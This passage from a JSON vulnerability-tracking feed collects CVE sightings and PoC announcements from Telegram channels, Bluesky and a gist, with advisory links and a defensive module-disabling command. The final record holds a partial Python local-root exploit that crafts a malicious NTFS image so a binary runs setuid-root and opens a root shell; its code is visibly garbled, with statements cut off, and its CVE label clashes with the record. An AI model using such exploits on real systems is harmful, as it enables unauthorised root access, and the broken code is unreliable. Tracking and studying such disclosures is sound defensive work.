"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91278", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31694-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xCyberstan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-30 11:50:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux kernel FUSE readdir cache out-of-bounds write (CVE-2026-31694): a malicious FUSE server overflows a page-cache page by 24 bytes. PoC plus an unprivileged local-root exploit via /etc/passwd page-cache corruption. Run only inside a VM.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:25.538293Z"}, {"uuid": "8dbb6bf7-e79f-4e9f-b86c-4dbd2a8957c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31309", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92579", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31309\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Sch8ill\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-08 22:16:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBroken Access Control in Mysterium Node TequilAPI before v1.36.0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:33.364725Z"}, {"uuid": "e5e8a1fe-b848-451c-96e3-d0630b7f51e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3283", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 cache fuse_add_dirent_to_cache() \u043c\u043e\u0434\u0443\u043b\u044f fs/fuse/readdir.c \u044f\u0434\u0440\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438\n\nBDU:2026-09090\nCVE-2026-31694\n\n\u0412 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f \"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c LINUX\", \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u043c\u0435\u0442\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u0424\u0421\u0422\u042d\u041a \u0420\u043e\u0441\u0441\u0438\u0438, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u043c 25 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\n\u0414\u043b\u044f Linux:\nhttps://lore.kernel.org/linux-cve-announce/2026050139-CVE-2026-31694-f974@gregkh/\nhttps://git.kernel.org/stable/c/038e61812fa52ef62bad2cfc96bf37dc0db47c1e\nhttps://git.kernel.org/stable/c/1d4a517fa90480c52fd452fea2686cd80f773ce2\nhttps://git.kernel.org/stable/c/3059f9abe7f1ba8fddf3c86c5faa1eeacf07e7d4\nhttps://git.kernel.org/stable/c/45c05af36311624c1148123caeb011312495d86b\nhttps://git.kernel.org/stable/c/474ce83c96a55f2eeb14dee2be375eeadfdacdf5\nhttps://git.kernel.org/stable/c/51a8de6c50bf947c8f534cd73da4c8f0a13e7bed\nhttps://git.kernel.org/stable/c/7de93abfaae1b2dc94da8a07a36421bd073f1d8f\nhttps://git.kernel.org/stable/c/d23ad78bfd205eac26766e38ba7d79f279131098\n\n\u0414\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Red Hat Inc.:\nhttps://access.redhat.com/security/cve/cve-2026-31694\n\n\u0414\u043b\u044f Debian GNU/Linux:\nhttps://security-tracker.debian.org/tracker/CVE-2026-31694", "creation_timestamp": "2026-07-15T00:00:35.023587Z"}, {"uuid": "36ec0118-d0d2-40b1-a812-c4126432c004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31837", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mqnvfpbgnk2w", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-31837](https://github.com/istio/istio/security/advisories/GHSA-v75c-crr9-733c)\nIstio is...\nhttps://github.com/istio/istio/security/advisories/GHSA-v75c-crr9-733c #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-15T04:34:38.552215Z"}, {"uuid": "b2ad194d-7287-4117-915c-f6c0791e7c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/RadiatedMonday/3454", "content": "CVE-2026-31431\nLPE \u0432 \u043b\u0438\u043d\u0443\u043a\u0441\u043e\u0432\u043e\u043c \u044f\u0434\u0440\u0435. \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043f\u0430\u0442\u0447\u0438, \u0435\u0441\u043b\u0438 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435:\n\n### \u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c\necho \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif.conf\nrmmod algif_aead", "creation_timestamp": "2026-07-15T15:00:04.558224Z"}, {"uuid": "d8ce1f2e-8a13-49f6-8455-cf60ced01887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/RadiatedMonday/3454", "content": "CVE-2026-31431\nLPE \u0432 \u043b\u0438\u043d\u0443\u043a\u0441\u043e\u0432\u043e\u043c \u044f\u0434\u0440\u0435. \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043f\u0430\u0442\u0447\u0438, \u0435\u0441\u043b\u0438 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435:\n\n### \u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c\necho \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif.conf\nrmmod algif_aead", "creation_timestamp": "2026-07-16T00:00:09.332000Z"}, {"uuid": "45b6adb6-1d71-439e-b0d2-1b8a88b58201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/strykerapp/78278", "content": "Copy.fail\n\nCVE-2026-31431\n\nHave VPS, Kuber, Docker? I don't care, now i have root \ud83d\ude0a", "creation_timestamp": "2026-07-16T07:00:05.014411Z"}, {"uuid": "dbd1123e-8b4b-4ba8-b73c-3f9ff9e77151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31452", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17097", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected to avoid duplicates and outdated entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31452\n\ud83c\udfaf OpenCart \u2013 Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitblizzard/CVE-2026-31452\n\n\ud83e\udde0 Overview\nA vulnerability in OpenCart allows attackers to upload arbitrary files without proper validation, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full web server compromise\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-30121\n\ud83c\udfaf Zimbra Collaboration \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ry4n-h/CVE-2026-30121\n\n\ud83e\udde0 Overview\nA flaw in Zimbra allows attackers to bypass authentication mechanisms and gain unauthorized access to user accounts.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Account takeover\n\u2022 Email system compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-28711\n\ud83c\udfaf Jenkins \u2013 Script Console Abuse\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/wh0amitz/CVE-2026-28711\n\n\ud83e\udde0 Overview\nA vulnerability in Jenkins enables attackers to execute arbitrary scripts through misconfigured or exposed script console endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CI/CD pipeline compromise\n\u2022 Credential exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-27654\n\ud83c\udfaf Drupal Module \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xM4hmoud/CVE-2026-27654\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in a Drupal module allows attackers to manipulate database queries and extract sensitive data.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Privilege escalation\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-26590\n\ud83c\udfaf Node.js Application \u2013 Prototype Pollution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4vitar/CVE-2026-26590\n\n\ud83e\udde0 Overview\nA prototype pollution vulnerability allows attackers to modify application logic by injecting malicious object properties.\n\n\u2699\ufe0f Impact\n\u2022 Application logic manipulation\n\u2022 Potential RCE chain\n\u2022 Security control bypass\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch analysis\n\u2022 Vulnerability chain study\n\u2022 Red / Blue Team training\n\n\u26a0\ufe0f Ethical Notice\nThis information is provided for cybersecurity research and defensive purposes only.\nDo not use it for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:09.729050Z"}, {"uuid": "3f6595b1-4482-405f-a566-3198de794054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31854", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17105", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, carefully filtered to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-35102\n\ud83c\udfaf TYPO3 CMS \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/secf00tprint/CVE-2026-35102\n\n\ud83e\udde0 Overview\nA vulnerability in TYPO3 CMS allows attackers to execute arbitrary code due to improper input validation in backend modules.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CMS compromise\n\u2022 Privileged access escalation\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-34419\n\ud83c\udfaf Atlassian Confluence \u2013 OGNL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4tyam/CVE-2026-34419\n\n\ud83e\udde0 Overview\nAn OGNL injection vulnerability allows attackers to execute arbitrary expressions, potentially leading to remote code execution.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Enterprise system compromise\n\u2022 Sensitive data exposure\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-33788\n\ud83c\udfaf WordPress Plugin \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0x3f97/CVE-2026-33788\n\n\ud83e\udde0 Overview\nA vulnerable WordPress plugin allows attackers to upload malicious files without proper validation.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full website compromise\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-32677\n\ud83c\udfaf Docker Environment \u2013 Privilege Escalation\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitdev/CVE-2026-32677\n\n\ud83e\udde0 Overview\nA misconfiguration or vulnerability in Docker environments allows attackers to escalate privileges and escape container isolation.\n\n\u2699\ufe0f Impact\n\u2022 Container escape\n\u2022 Privilege escalation\n\u2022 Host compromise\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-31854\n\ud83c\udfaf PHP Application \u2013 Remote File Inclusion (RFI)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/hax0rz/CVE-2026-31854\n\n\ud83e\udde0 Overview\nA remote file inclusion vulnerability allows attackers to load external malicious scripts into the application.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Data exfiltration\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch diff analysis\n\u2022 Web / system vulnerability research\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:10.248686Z"}, {"uuid": "7d779eb5-70d9-4615-b45f-0b4d88fcc92c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/9BtrUinGR09Vw-DDzgsbuAL7mkCqzQImOpJ5grPSV1xMots", "content": "", "creation_timestamp": "2026-08-27T12:00:04.197808Z"}, {"uuid": "5c35f84e-9a40-4e24-89ff-8adae857fccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/_ggO1ftwEo_1OFNxmypFIvaeDAuz_PBDvQPWNeSc7kLjI5w", "content": "", "creation_timestamp": "2026-08-27T12:00:04.281772Z"}, {"uuid": "a827653c-5690-4e01-a293-10e42949a89d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31721", "type": "published-proof-of-concept", "source": "Telegram/Qorl8KsupVbzUPX8azz4xQbaY0YHd4AMaNdtiK2dWAxVLZg", "content": "", "creation_timestamp": "2026-08-27T12:00:04.513238Z"}, {"uuid": "3cad1ea0-be68-48c2-a603-615311453c23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17110", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, based on the latest observed activity.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31900\n\ud83c\udfaf GitHub Action (Black) \u2013 Arbitrary Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Batosay1337Lab/CVE-2026-31900\n\n\ud83e\udde0 Overview\nA vulnerability in GitHub Actions using the Black formatter allows attackers to inject malicious repository references via pyproject.toml, leading to arbitrary code execution in CI environments.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary code execution in CI/CD\n\u2022 Secret leakage risk\n\u2022 Supply chain attack vector\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-29598\n\ud83c\udfaf Acora CMS \u2013 Stored XSS\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/padayali-JD/CVE-2026-29598\n\n\ud83e\udde0 Overview\nMultiple stored XSS vulnerabilities allow attackers to inject malicious scripts via user input fields such as first and last name.\n\n\u2699\ufe0f Impact\n\u2022 Stored XSS\n\u2022 Session hijacking\n\u2022 Persistent client-side attacks\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-22200\n\ud83c\udfaf osTicket \u2013 Arbitrary File Read via PDF Export\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Remnant-DB/CVE-2026-22200\n\n\ud83e\udde0 Overview\nA vulnerability in osTicket allows attackers to embed crafted HTML into tickets, which leads to arbitrary file read when exporting to PDF.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive file disclosure\n\u2022 Server-side data leakage\n\u2022 Unauthorized file access\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21710\n\ud83c\udfaf Node.js HTTP Server \u2013 Potential Exploitation Path\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/dajneem23/CVE-2026-21710\n\n\ud83e\udde0 Overview\nA vulnerability affecting Node.js HTTP servers may allow exploitation depending on server configuration and request handling logic.\n\n\u2699\ufe0f Impact\n\u2022 Server-side exploitation\n\u2022 Application instability\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5252\n\ud83c\udfaf Admin Panel \u2013 Cross-Site Scripting (XSS)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/aydin5245/CVE-2026-5252-CVE-POC-ivanti\n\n\ud83e\udde0 Overview\nA reflected XSS vulnerability allows attackers to execute arbitrary JavaScript through crafted requests targeting message endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Cross-site scripting\n\u2022 Session hijacking\n\u2022 Client-side exploitation\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Real-world PoC validation\n\u2022 CI/CD attack surface analysis\n\u2022 Web vulnerability exploitation patterns\n\u2022 Threat intelligence tracking\n\n\u26a0\ufe0f Important Note\nRecent GitHub trends show increasing risks:\n\u2022 Fake CVE advisories and malicious PoC distribution campaigns targeting developers\n\ud83d\udc49 Always verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:11.003064Z"}, {"uuid": "d6985164-9f30-4744-adfc-84c27912a570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "seen", "source": "https://t.me/GithubRedTeam/93676", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP-Contest-Gallery-28.1.4-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CerberusMrXi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-16 10:27:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nComplete exploitation toolkit for CVE-2026-3180 - WordPress Contest Gallery SQL Injection vulnerability. Features automated data extraction, WAF bypass, reverse shell, SQLMap integration, Burp extension generation, and reporting for penetration testing and security research.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T13:00:04.246332Z"}, {"uuid": "e726eb6e-c53d-4f85-8d90-8a88a9162086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/kbandla/12dd9db675d4deebf154ad7b4bc5400a", "content": "#!/usr/bin/env python3\n\"\"\"\nInjectionBunny - NTFS3 SUID Injection LPE\nCVE-2026-63833 \nCreates a malicious NTFS filesystem image. When this image is mounted\n(e.g., from a USB drive), a binary on it appears as setuid-root.\nRunning it gives an interactive root shell.\n\nUsage:\n    python3 injection_bunny.py [--helper /path/to/suidhelper] [--output evil_usb.img]\n\"\"\"\n\nimport struct\nimport subprocess\nimport sys\nimport os\nimport shutil\nimport tempfile\n\n# NTFS constants\nMFT_RECORD_SIZE = 1024\nSECTOR_SIZE = 512\nATTR_TYPE_EA = 0xE0\nATTR_TYPE_EA_INFO = 0xD0\nATTR_TYPE_END = 0xFFFFFFFF\nFILE_RECORD_MAGIC = b'FILE'\n\n# WSL EA values\nLXUID_VALUE = struct.pack(' bytes:\n    \"\"\"Build a single NTFS EA entry.\"\"\"\n    # EA entry format:\n    #   4 bytes: NextEntryOffset (0 for last, offset to next entry from start of this one)\n    #   1 byte: Flags (0)\n    #   1 byte: EaNameLength (not counting null terminator)\n    #   2 bytes: EaValueLength\n    #   N bytes: EaName (null-terminated)\n    #   M bytes: EaValue\n    #   Padding to 4-byte boundary\n    name_len = len(name)\n    value_len = len(value)\n    \n    entry = struct.pack(' bytes:\n    \"\"\"Build complete list of EA entries with correct NextEntryOffset values.\"\"\"\n    built_entries = []\n    for name, value in entries:\n        built_entries.append(build_ea_entry(name, value))\n    \n    # Now fix NextEntryOffset for all except the last\n    result = b''\n    for i, entry in enumerate(built_entries):\n        if i < len(built_entries) - 1:\n            # Patch NextEntryOffset to point to next entry\n            offset = len(entry)\n            entry = struct.pack(' bytes:\n    \"\"\"Build a resident NTFS attribute header + data.\"\"\"\n    # Attribute header for resident:\n    #   4 bytes: Type\n    #   4 bytes: Length (total including header)\n    #   1 byte: Non-resident flag (0 = resident)\n    #   1 byte: Name length (in chars)\n    #   2 bytes: Name offset\n    #   2 bytes: Flags\n    #   2 bytes: Instance\n    #   4 bytes: Value length\n    #   2 bytes: Value offset\n    #   1 byte: Indexed flag\n    #   1 byte: Padding\n    \n    name_len = len(name) // 2  # UTF-16 chars\n    header_size = 24  # Fixed header size for resident attr\n    name_offset = header_size if name_len > 0 else 0\n    value_offset = header_size + len(name)\n    # Align value to 8 bytes\n    while value_offset % 8 != 0:\n        value_offset += 1\n    \n    total_len = value_offset + len(data)\n    # Align total to 8 bytes\n    while total_len % 8 != 0:\n        total_len += 1\n    \n    header = struct.pack(' bytes:\n    \"\"\"Build EA_INFORMATION attribute data.\n    \n    EA_INFORMATION (0xD0):\n      2 bytes: PackedEaSize (size of packed EA list)\n      2 bytes: NeedEaCount\n      4 bytes: UnpackedEaSize\n    \"\"\"\n    packed_size = len(ea_data)\n    return struct.pack(' bytearray:\n    \"\"\"Apply NTFS fixup (update sequence) to an MFT record.\"\"\"\n    # Read the update sequence offset and count from the record header\n    usa_offset = struct.unpack_from(' bytearray:\n    \"\"\"Undo NTFS fixup to get raw record content.\"\"\"\n    usa_offset = struct.unpack_from(' int:\n    \"\"\"Find the byte offset of the MFT in the NTFS image.\"\"\"\n    with open(img_path, 'rb') as f:\n        # Read boot sector\n        boot = f.read(512)\n        # Bytes per sector at offset 0x0B (2 bytes)\n        bytes_per_sector = struct.unpack_from(' int:\n    \"\"\"Find MFT record number for a given filename by scanning MFT entries.\"\"\"\n    target = filename.encode('utf-16-le')\n    \n    with open(img_path, 'rb') as f:\n        # Scan MFT records (start from record 24+ which is where user files start)\n        for rec_num in range(24, 256):\n            offset = mft_offset + rec_num * MFT_RECORD_SIZE\n            